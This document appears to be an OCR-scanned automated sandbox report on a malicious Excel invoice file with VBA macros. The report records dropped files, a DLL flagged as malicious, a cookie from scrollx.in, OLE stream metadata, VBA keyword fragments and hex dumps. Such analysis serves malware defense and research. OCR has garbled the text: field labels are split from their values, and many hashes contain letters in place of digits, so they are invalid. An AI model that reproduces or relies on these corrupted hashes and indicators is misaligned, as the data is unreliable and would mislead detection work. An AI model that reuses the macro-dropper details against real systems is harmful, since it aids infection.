FC354E4F37C9E1BA07DFC756F56A1ABE6A75230DEF908F34E43D35618B113A532E5B7C640F5B14BF75AC31003D8C66E06BA37A004E9357BF7896BD944A0514A!

false

moderate, very likely benign file

C:\Users\luser\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_EXCEL.EXE_6f227b18f49da44a2d1889aa10939f535bdc_0bd2ab0e\R

eport.wer
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\DWWIN.EXE

data

dropped

16734

3.714145190828899

false
96:23s4HBakNZESI/fQ5QXI4izw+HbnglCZgpYT1uPoGI9uyEYcbkMIbFY7UGQIITOL:2jyBKzFCEuUhTIlyZIz+IVaJa5GG
09ED45F1BA180F7C4BDDCCFA2421196B

CB7694D9A8C328754E2429EDA921C470501C1A4A
A3DBC50E1A6C991DD5DB447B5FOFDOE1190EDOD7BC2F293EB48D40482AF232DE

2C6511F572FD6416DCADC04BB637D229674D1D3DED1AB474D339A2B42DD5F6A6FDDC7592C4E97EC58D7C42E8E751DBI9C832B26E15E8A0263E16E0122C6F9F
4

false

low

V.ers.ion=1...Ev.entTyp.e=APPCRASH..EventTime=132540939.6.1.7.33.8.8.9.88....R.e.p.o.rtTy.p.e=2..C.ons.ent=1..Up.lo.
a.d.T.im.e.=.1.3.254.9.3.9.6.3.4.3.4.29.28.6....R.e.p.or.tlde.ntifier=77a.d.d8.7.a-54ec.-1.1leb.-adcf-e.cf4bbb.59.15b...lntegrato.rR.e.p.
ortlde.ntifier=77a.d.d8.79.-54e.c.-1.1.eb.-adc.f-e.cf4bbb.59.15b...Resp.o.ns.e.Bucketld=370.1159.26.1..R.esp.o.ns.e..Bu.ck.
e.tT.a.ble=3.8.0.7.0.7.5.2.5....R.e.s.p.o.ns.e...ty.p.e.=4..8S.ig9.[.0]..Name=Ap.plicatio.n. .Nam.e...Sig.[0].V.alue=EXC.EL..EXE..S.ig.[1l
]..N.a.m.e.=.A.p.p.li.cati.o.n. V.ers.ion...Sigl[l].V.alue=14.0..7.0.15..1.0.0.0....S.i.g.[.2.]..Nam.e.=. A.p.p.li.c.atio.n. .T..me.s.tam.p...S.ig.[2]..V.
a.lu.e.=51.c.c.a.7.cd...S.ig.[3.]..Nam.

C:\Users\luser\AppData\Local\Temp\050F0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

58293

7.859004361891608

false
1536:hAjRzggbLmCf6646CIK4fxalO77nXblvNbsLNFqgW:hAj1rmCM2U877X5vNb+xW
DA02AD566D93F2D945AC338963991BC5
4063109EE9F53A1861E52F7AFA3F1C5D6C73097A
ECF16677D55711C79661EFF5BACOBF3E15FEB1AF8253F949745F1B05B6F6F6E2
C4787CEF074745F61FAATE1A331A3E1DE4BF99546B7D61E7AOBF8C4EDC73473077D6738B642E7FF3829B7BB2D88D991331C84789E8CID24A98B0OE2037F2867D;/

false

low

H..(,9.6@S.[......(..w(9...a....u..q.
e W~ XU

ARUN*LLO0GR.LY L ~<z.m %, (X &.LILwP.".....1.%.
57.Y....s..e. XB+@..3R.Ep..05. W...#..N.Yw.Y.|U."rBK)o.dz..g.H.{..k...
! *.......[Content_Types].xml ...(

+/.k%@:.d.F...HFS...OH.....2..
A4Am..3d..N.2.. N.k....DO...A.b...-....

C:\Users\luser\AppData\Local\Temp\1008733.cvr

Process:
File Type:
Category:
Size (bytes):

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
data
modified

1392
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C:\Users\luser\AppData\Local\Temp\1008733.cvr
Entropy (8bit):  3.163794334243885

Encrypted: false

SSDEEP: 24:bpll/+mANFssWtAFuoqquwGuNI/rkQaHke5PGgJcP+q7g5g0/D/UIOIhXU: 1ll/+N6AuoZuDMIU6+24110jXU

MD5: C23C2CBOAC8870BA2D7A92D96A5C3420

SHA1L: 93FE60278681E0DOC176645B609A24BC62B1FCE9

SHA-256: 2088A32187446B5C244EC82A7055CAD344C1F2E7ED2FD6E73BB3E40B1CCLAG7A

SHA-512: 20A51FC941CB0A7071CAE99785CA6820B8F5D073ADID5A5C75A4EB884253C70982BD72D3F6EBA2F167BBEE41E338A5AF073F742EEC711F9E7111FFDA5152675L
0

Malicious: false

Reputation: low

Preview:

C:\Users\luser\AppData\Local\Temp\Cab35C0.tmp E

Process: C:\Windows\SysWOW64\regsvr32.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAALASA151EDA2A7AAG64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

Malicious: false

Preview:
MSCF....8....... e I ........ S LQ.v .authroot.stl..0(/.5. CK .8T....c_.d.....(.....]:M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..U...oceurn | =H4.U=...X..gn.+S.AJ.....y.n.v.XC...

s f+lc 9400 2s A wit LLs 0> /L pfiT ULLLLs A wz A gL
.60...eCS4.0......d..}.<,nh )....e.]...Cxj..f.8.2.&.G.....
Z.N.N...Uf.g">}....... o\.cD"0."Y.....SV..g...Y....o.=....k..u.

C:\Users\luser\AppData\Local\Temp\Excel8.0lMSForms.exd

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 241332

Entropy (8bit): 4.206812191244806

Encrypted: false

SSDEEP: 1536:cGSLgQNSk8SCtKBX0Gph2vxKHNVMOKOX0OmMRO/NIAIQK7vIKAJYsAOppDCLTMRsi:c7BNSk8DtKBrpb2vxrOpprf/nVq

MDS5: 79ACF2719DAC45A44EDFAD3DCABABO37

SHA1L: 1F88A4B82DAFBED65839BA35BACOE149CBDC371F

SHA-256: 026D105273980DB35AF04B25470B59480B09F204229B76FBD12541E7CD588388

SHA-512: 5F31827A2DE40F1866E30BB7E3A36C1912D6EBD11330F6E7B33233366BB49076C8B5801CBDADE71BEDAS3C7EFAC354F99CB72F44E9F7BB95B72E7BEE6522F7
C1

Malicious: false

Preview:

LA TS.$..%..%...%. H&..
0. p0...0..81...1...2..d2...2..,3...3..3.X4..4.. 5..5..5.16...6..7.X7..7..@8......8.....

............................... P e &l
C:\Users\luser\AppData\Local\Temp\Tar35C1.tmp
Process: C:\Windows\SysWOW64\regsvr32.exe
File Type: data
Category: modified
Size (bytes): 152533
Entropy (8bit):  6.31602258454967
Encrypted: false
SSDEEP: 1536:SIPLIYy2pRSjgCyrYBb5HQop4Ydm6CWku2Ptlz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
MD5: D0682A3C344DFC62FB18D5A539F81F61
SHA1L: 09D3E9B899785DA377DF2518C6175D70CCFIDA33
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C:\Users\luser\AppData\Local\Temp\Tar35C1.tmp

SHA-256: 4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5ECS5A

SHA-512: 0E884D65C738879C7038C8FB592F53DD515E630AEACCIDIESFI013606364F092ACF7D832E1ABDAC86A1FOBOE906B2302EE3A840A503654F2B39A65B2FEA04EC
Malicious: false

Preview:

-@wO0Z..+.....7...1L.JM.i.c.r.0.s.0.f.t. .R.0.0.t. .C.e.rtific.ate.
0..+....7..1.0.V.......b0$..+.....7...1...>))....5,.=$.~R."..00..+.

A.uthority...0..,..
sl 7.b1 X[ 3% 7.2...Gy.cS.0D. . +..
L7010l AL @09 7 1 W FLL9INLL 00, G..d.m..$.... X..}JOB..+....7...14.2M.i.c.r.o.s.0.f.t. .R.0.0.t. .A.u.th.o

7..16.4V.eriS.ig.n. T

C:\Users\user\AppData\Local\Temp\WER4960.tmp.WERInternalMetadata.xml

Process: C:\Windows\System32\DWWIN.EXE

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 3110

Entropy (8bit): 3.677764698836754

Encrypted: false

SSDEEP: 96:Shz4tU607VxBt3uhhgHPe40PAN5xp3l11j3:WI7LBNuhhgG45nv5ID

MDS5: FABFD1AB99C64263B25A5078306E7258

SHA1L: 3F60633349BCDA67D767B24FE6546F3C964928A5

SHA-256: 712A58072649026F50E8B0D1B5A85CDFFD1007D06B75FA4EC371BE62B7D39AFE

SHA-512: 7AE56D401FEA1E8BOD17BD89F444C1D2DDC60C401382623BF5D145365106C6F3CDACC7780714701C19875BFD93888CEDE24E103E9977CF5AFC88DODDADBDE
49

Malicious: false

Preview:

.<?x.ml wvers.ionz="1..0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnforma.tion> <W.i.n.d.
o.w.s.N.T.V.errs.i.o.n.>.6...1.</W.i.n.d.ow.s.N.T.V.e.r.s.i.o.n.>. <.B.u.il.d.>.7.6.0.1. .S.er.v.i.ce. .Pack. .1.</B.uild>.....<P.r.o.du.c.t>(0x.3.0.)... W.
in.d.ow.s. .7. .Profess.ional</Product>....<Edition>P.rofess.ional</E.d.ition>....<Bu.ildString>76.0.1.23.6.7.7.am.d.6.4f.
re..w.in7.s.p.l._1dr.17.0.2.0.9.-.0.6.0.0.<./.B.u.ild.S.trin.g>......<R.e.w.is.i.o.n>113.0.</R.e.v.is.io.n>....<Flav.or>Multipr.o.ce.ss.o.r. .Fre.e.
</F.lav.or>....<Architecture>X6.4.</Architecture>.....<LC.D.>1033.</LC.D>....</0.SV.ers.io.nlnformation>....<P.ar.e.
ntP.ro.c.ess.l

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 319488

Entropy (8bit): 7.125176562164236

Encrypted: false

SSDEEP: 6144:5HdO040SSrnmrwc4oU2FmrEaoGAC+Y5H2V3B918juwUX:RdO02SrnhOqEJC+Y218jdU
MDS5: 597B02A17B8C012E25FA0A668004163B

SHA1L: 424A6F131D5C765EFDB28ESCAAESFE2834A82BB0

SHA-256: E3F7EB34C3A1FD306C7788096CB666F3362BA5AA78710074B61DD03F829B8AFD
SHA-512: C75D875F3ABE620779380E7AEOF4BBB59B0C823B40889084B51396CD166187CBD90F7FB4159969DF1C7C241930BAA93BD051BF2F8FFFICB8402D00CFB60062D
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Preview:

1..L.IThis program cannot be run in DOS mode....$....... PE..L

.0

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Tue Jan 12
14:40:00 2021, atime=Tue Jan 12 14:40:00 2021, length=8192, window=hide

Category: dropped

Size (bytes): 867

Entropy (8bit): 4.466053005520158

Encrypted: false

SSDEEP: 12:85QMtCLgXg/XAICPCHaXtB8XzB/6sU1X+WnicvbZ10ObDtZ3YiIMMEpxXRIjKoTdJU:85RtU/XTd6jUseYel11CDv3qtrNru/

MDS5: 7D2E1392D21BFDB63A02967DAF8F3EAL

SHAL: B6372166FBA7F4D23C48D0B525871B2CFAES91EA

SHA-256: 68A16DBEB58774F7EOBSBEF3EA7BIA2BB54AF9EB844D83A83E7EE971822FF450

SHA-512: 4A9745AEABOBEE634602F53D050FA8B85D5BE18C99F01C23190F93E8E3A98FIE3D566536E75E3C92595086BB782C30C9166CE3CDC970DD1D288A729EDE138E:
E

Malicious: false
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Preview:

i...P.O. i 400, /C: N t1.....QK.X. Users. ........QK.X* ..o 6....Us.ers..@.s.h.ell3.2.dll,.-
Alb.us....z.1.....,R.}..Desktop.d...... QK. X,R.}*.. civeeelDeesktop..@.s.h.ell.3.2..d.ll.,.-.2.
\960781\Users.user\Desktop
.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\inv0209966048-20210111075675.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Tue Jan 12 14:40:00 2021,
atime=Tue Jan 12 14:40:08 2021, length=116736, window=hide

dropped

2208

4.48517017590225

false
24:8NNn0/XTd6jFyZe110nxIJWDv3qtdM7dD2Nn0/XTd6jFyZe110nxIJWDv3qtdM7dV:86/XTOjF8nxJOtQh26/XTOjF8NxJOQ/
8AA71395F36DD05D7F678BDDFESEOF85

5F1CF53E665E4A8E68E7E989BCDFE7242172E5CD
9CBEF792AF8253F0D968B1F7524E7BF7096AB230916E36FA256E9D540969C6F5

D657EDD9DFDFA639EC8093A1435C652E1B5BCB5513F8D776BF08E455B4C4E51966CFEOFA9903FC69FAEO1F3BB38091CF049C3387E26AD9B2D9320D702FB429)
0

false

L. ) >q.. . +00.../C:\. LQK.X* 6....Us.ers..@.s.hell32.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8......QK.X.Q.y*...& Alb.us....z.1.....Q.y..Desktop.d.....QK.X.Q.y*..._=... .D.essk.to.p.@.s.hell3.2.dlLl,.-2
.1.7.6.9.......2..3.,R.| .INV020~1.XLS..n....... Q.y.Qy* .8 [.nv.0.2.0.9.9.6.6.0.4.8.-.2.0.2.1.0.1.1.1.0.7.5.6.7.5.. X.L.S.c.coeovrvccinnm 8 [ 20.00.C0N
Users\..#.. \\960781\Users.user\Desktop\Inv0209966048-20210111075675.xls.7.....\....\....\....\....\.D.e.s.k.t.o.p.\..n.v.0.2.0.9.9.6.6.0.4.8.-.2.0.2.1.0.1.1.1

.0.75.6.7.5..x.ls.........i. LB AGe 1SPS.XF.L8C...&m.m............-..S.-.1.-.5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.06.........

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

137

4.492055563388153

false
3:0yBVOMMAVFtTIGVKAOLT3tTIGVKAMMAVFTIGVKdv:dj6AShEKU7hEKZA3hEKt
5CE2708381A90ED1D526BE053A53D751
A954E918482248CC0536EBEOCFA342BA6FB1AD2B
1A300C84B22416BF6CB9056F99C0B14D664513A9EF079AAF8FC3000D70063485

2B7C3A8BDOD3FD2C7CA6241CF30D1EB83E79C389F6D9B1DBB2A7297F7D85716D50D436DB04ABFB462582F94FE40B0B70BOCDOF02A9ED9526D962796C56306C
F

false

Desktop.LNK=0..[xIs]..Inv0209966048-20210111075675.LNK=0..Inv0209966048-20210111075675.LNK=0..[xIs]..Inv0209966048-20210111075675.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\ZEL5A6R0.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

ASCII text

downloaded

111

4.492288417144315

false

3:GmM/2gARcISEaDqlEapQvhKiL0cSXJzdaSmf3cX:XM/2aixhKolk9ESX
5BDB156BC8D2594BFF328E256D968F80
8ACFD6C11D2E7CFF78EFC39B84AE79141C57B568
DAE9AABB5A1AF68AAFF70D8E1045447B2AA05154C57F6BF27581996CA9FB3DD0O

B3FC4EBOC4B50CA110F7C5C9D1F4856341EDC5BA254A5A19556D176CFBOESC7D5EDO87EBC37F19BBE13CC5FFB3321F1277B426FC56A63DEF828882878E7914
4

false

scrollx.in/

__cfduid.d65b0ee49alb7baa363fc46fc16c8cadd1610433585.scrollx.in/.9728.2941374080.30867520.707499465.30861561.*.

Static File Info

Copyright null 2021
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General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Inv0209966048-20210111075675.xIs"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Author:

Last Saved By:
Create Time:
Last Saved Time:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Copyright null 2021

edeea286adb4bcb4

OLE

True
unknown
False
False
True
False

False

True

1252

2020-12-07 14:38:21.412000
2021-01-11 14:30:19

0

1252

False

False
False
False

1048576

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 10.0, Code page: 1252, Create
Time/Date: Mon Dec 7 14:38:21 2020, Last Saved
Time/Date: Mon Jan 11 14:30:19 2021, Security: O

5.061929529755134

e Microsoft Excel sheet (30009/1) 47.99%

e Microsoft Excel sheet (alternate) (24509/1) 39.20%

e Generic OLE2 / Multistream Compound File
(8008/1) 12.81%

Inv0209966048-20210111075675.XIs

78336

91baa6aad9201c0ccf3553a5b49eb967
9c182826d5dc041970f31a8d584580f870c3996¢

0laf3b5cle2ed68272f542233aece70269a9e977815347¢
4b9c86bb2d97c086e

6f610455f741694b2179c7bbf5b6fbeb48cee48a30977b4
d0e9bb3242c783dbd2b672c0f03874bf595080ef7e4b65f
eb02ccla36896a8ae402d2a24d93f198f

1536:iwhWFk3hbdlylKsgqopeJBWhZFGKE+cL2NdAzLit
pFa5iljp5IGDI+Almla00md7:iwhWFk3hbdlylKsggopeJB
WhZFGKE+cH
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Streams with VBA

VBA File Name: Modulel.bas, Stream Size: 3215

General
Stream Path:

_VBA_PROJECT_CUR/BA/Modulel

VBA File Name: Modulel.bas

Stream Size: 3215

Data ASCIl: S X X oo
................. X o e ME

Data Raw: 01 16 03 00 03 fO 00 00 00 2a 05 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 58 05 00 00 fO 09 00

00 00 00 00 00 01 00 00 00 ba 78 ca 26 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00

VBA Code Keywords

Keyword

Integer:

bycilke()

VB_Name
MiV(sem.value)
homepodd()

homepodd

Error

Integer)

bycilke

Function

ol).Name

")

String

"ab"

Split(govs,

Randomize:
yellowsto(yel

Next:
ActiveSheet.UsedRange.SpecialCells(xICellTypeConstants)
yellowsto(Oa))))

Integer

yellowsto

ol).value
nimo(Int((UBound(nimo)
Replace(Vo,
Chr(sem.Row)
Sheets(ol).Cells(homepodd,
"ab"))

Split(kij(ol),
yellowsto(homepodd))
Rnd))

(Run(™

"moreP_"

Variant)

Attribute

Resume
pagesREviewsd(Optional
ecimovert(nimo
ecimovert

MsgBox

VBA Code

VBA File Name: Sheetl.cls, Stream Size: 1639
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General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

Index

VB_Name
VB_Creatable
Application.OnTime
VB_Exposed

Long)
ResizePagess()
VB_Customizable
"REviewsd"
VB_Control
MultiPage"
VB_TemplateDerived
MSForms,

False

Attribute

Private
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
ResizePagess

"pages”

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
"ThisWorkbook"
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base

Copyright null 2021

_VBA_PROJECT_CUR/VBA/Sheetl
Sheetl.cls
1639

................. X.....".view_1_a, 1, 0, MSForms, MultiPage....

01 16 03 00 00 16 01 00 00 c8 03 00 00 fa 00 00 00 26 02 00 00 ff ff ff ff cf 03 00 00 fb 04 00
00 00 00 00 00 01 00 00 00 ba 78 c2 6b 00 00 ff ff 63 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

_VBA_PROJECT_CUR/VBA/ThisWorkbook
ThisWorkbook.cls
999

01 16 03 00 00 fO 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00
00 00 00 00 00 01 00 00 00 ba 78 1c 64 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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Keyword
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 108

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 108

Entropy: 4.18849998853

Base64 Encoded: True

Data ASCIl: i e F ....Microsoft Excel 2003 Worksheet.
.. Biff8.. ... Excel.Sheet.8..9.q............

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 20 00 00 00

le 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6¢ 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74
00 06 00 00 00 42 69 66 66 38 00 Oe 00 00 00 45 78 63 65 6¢ 2e 53 68 65 65 74 2e 38 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \xX5DocumentSummarylnformation, File Type: data, Stream Size: 284

General

Stream Path: \x5DocumentSummarylnformation

File Type: data

Stream Size: 284

Entropy: 2.99555015364

Base64 Encoded: False

Data ASCII: e +,. 00 P....... X
da [ S
................................................ _.....pricelist...........
..... Worksheets..............

Data Raw: fe ff 00 00 Oa 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c¢ f9 ae 30 00 00 00 ec 00 00 00 09 00 00 00 01 00 00 00

50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 Ob 00 00 00 6¢ 00 00 00 10 00
00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8¢ 00 00 00
Oc 00 00 00 a8 00 00 00

Stream Path: \xX5Summarylinformation, File Type: data, Stream Size: 168

General

Stream Path: \x5Summaryinformation

File Type: data

Stream Size: 168

Entropy: 2.89626404454

Base64 Encoded: False

Data ASCIL: e Oh..... +' .0 X 8....... @
Loooon. X, d....... P oo @...@._
@..... JI&......... ..

Data Raw: fe ff 00 00 Oa 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f

f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 78 00 00 00 06 00 00 00 01 00 00 00 38
00 00 00 04 00 00 00 40 00 00 00 08 00 00 00 4c 00 00 00 Oc 00 00 00 58 00 00 00 0d 00 00
00 64 00 00 00 13 00 00 00 70 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00 00
00 00 00 1e 00 00 00

Stream Path: MBD00102510/\x1CompObj, File Type: data, Stream Size: 115

General

Stream Path: MBD00102510/\x1CompObj

File Type: data

Stream Size: 115

Entropy: 4.80096587863

Base64 Encoded: False

Data ASCIl: p..Fz?2....... a...... Microsoft Forms 2.0 Form..... Em
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General

Data Raw:

Stream Path: MBD00102510/f, File Type: data, Stream Size: 178

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: MBD00102510/i02/\x1CompObj, File Type: data, Stream Size: 110

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: MBD00102510/i02/f, File Type: data, Stream Size: 40

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: MBD00102510/i02/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: MBD00102510/i03/\x1CompObj, File Type: data, Stream Size: 110

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

01 00 fe ff 03 0a 00 00 ff ff ff ff 70 13 e3 46 7a 3f ce 11 be d6 00 aa 00 61 10 80 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 12 00 00 00 46 6f 72 6d 73 2e 4d 75 6¢ 74 69 50
61 67 65 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

MBD00102510/f
data

178
256223021678

False
$.H........ @....... P | S 2.
FE $.o. #oooo. Pagel............. S o
Page2 5 T

00 04 24 00 48 Oc 00 Oc 03 00 00 00 04 40 00 00 04 00 00 00 00 7d 00 00 84 00 00 00 84 00
00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 74 00 00 00 00 83 01 00 00 00 1c 00 f4 01
00 00 01 00 00 00 32 00 00 00 98 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 24 00
d5 01 00 00 05 00 00 80 02 00 00 00 23 00 04 00 01 00 07 00 50 61 67 65 31 00 00 00 00 00
00 00 00 00 00 00 00 00

MBD00102510/i02/\x1CompObj

data

110

4.63372611993

False

............. i*..........WJO....Microsoft Forms 2.0 Form.....Em
bedded Object..... Forms.Form.1..9.9............

01 00 fe ff 03 0a 00 00 ff ff ff ff f0 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d
69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62
65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

MBD00102510/i02/f
data

40

1.54176014818

False

00 04 1c 00 40 Oc 00 08 04 80 00 00 00 7d 00 00 84 00 00 00 84 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

MBD00102510/i02/0
empty

0

0.0

False

MBD00102510/i03/\x1CompObj

data

110

4.63372611993

False

............. i*..........WJO....Microsoft Forms 2.0 Form.....Em
bedded Object..... Forms.Form.1..9.9............
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General

Data Raw:

Stream Path: MBD00102510/i03/f, File Type: data, Stream Size: 40

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: MBD00102510/i03/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: MBD00102510/0, File Type: data, Stream Size: 152

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: MBD00102510/x, File Type: data, Stream Size: 48

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

01 00 fe ff 03 0a 00 00 ff ff ff ff fO 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d
69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62
65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

MBD00102510/i03/f
data

40

1.90677964945

False

00 04 1c 00 40 Oc 00 08 04 80 00 00 00 7d 00 00 6e 13 00 00 fd Ob 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

MBD00102510/i03/0
empty

0

0.0

False

MBD00102510/0
data

152
